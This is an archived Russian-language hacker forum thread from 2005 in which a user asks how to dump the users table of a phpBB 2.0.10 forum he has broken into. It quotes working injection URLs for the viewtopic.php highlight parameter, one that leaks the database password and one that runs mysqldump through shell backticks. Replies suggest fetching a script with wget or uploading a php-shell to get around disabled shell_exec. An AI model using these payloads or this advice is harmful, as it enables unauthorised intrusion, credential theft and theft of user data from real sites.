PDA

Просмотр полной версии : Как слить базу пользователей в phpBB 2.0.10?

Makpo
10.02.2005, 01:29
plz pomogite :\ s pomoshju etoj ujazvimosti
http://[Target]/viewtopic.php?p=44&highlight=%2527.$poster=$dbpasswd.%2527
uznal pass k aku admina.....
no neznaju kak skopirovat bazu polzovatelej (tablicu forum_users) komandi tipa etoj
p=123&highlight=%2527.$poster=%60/usr/bin/mysqldump%09-uroot%09-pqwerty%09baza%09phpbb_users%09%3E%09file.sql%60.% 2527
nepashut :( pishet oshibku
Warning: shell_exec() has been disabled for security reasons
kak obojti? :( zaranije tnx
SiloS
10.02.2005, 06:48
Во первых....это пасс не к акку админа.. это пасс к бд mysql...
А если хочешь узнать контент бд.. то юзай mysql dump..
byte57
10.02.2005, 16:32
ну или залей скрипт полезный для просмотра базы с rst.void.ru
Makpo
11.02.2005, 00:53
Silos nu eto ponatna chto on k mysql
prosta u admina to4na takojzhe =]

Ghost a kak zalit etot skript?
SiloS
11.02.2005, 01:23
Эксплоит крутой там..
Makpo
11.02.2005, 02:01
Silos, kakoj?
byte57
11.02.2005, 07:28
Makpo, wget http://адресс.куда.ты.выложил.без. рхива
byte57
11.02.2005, 07:28
или сначала залей php-shell
Makpo
11.02.2005, 18:16
poxozhaja oshibka.........
Warning: shell_exec(): Cannot execute using backquotes in Safe Mode in /3w/wz.cz/r/zzzzzzzzzzzzz/viewtopic.php(1104) : regexp code on line 1
:(
byte57
11.02.2005, 21:35
у них настройки на фильтрацию кавычек наверно включены
Makpo
12.02.2005, 04:40
Ghost, nu eto ja ponal...
toka 4e s etim delat mne ne ponatna......podrugomu kaknit mozhna?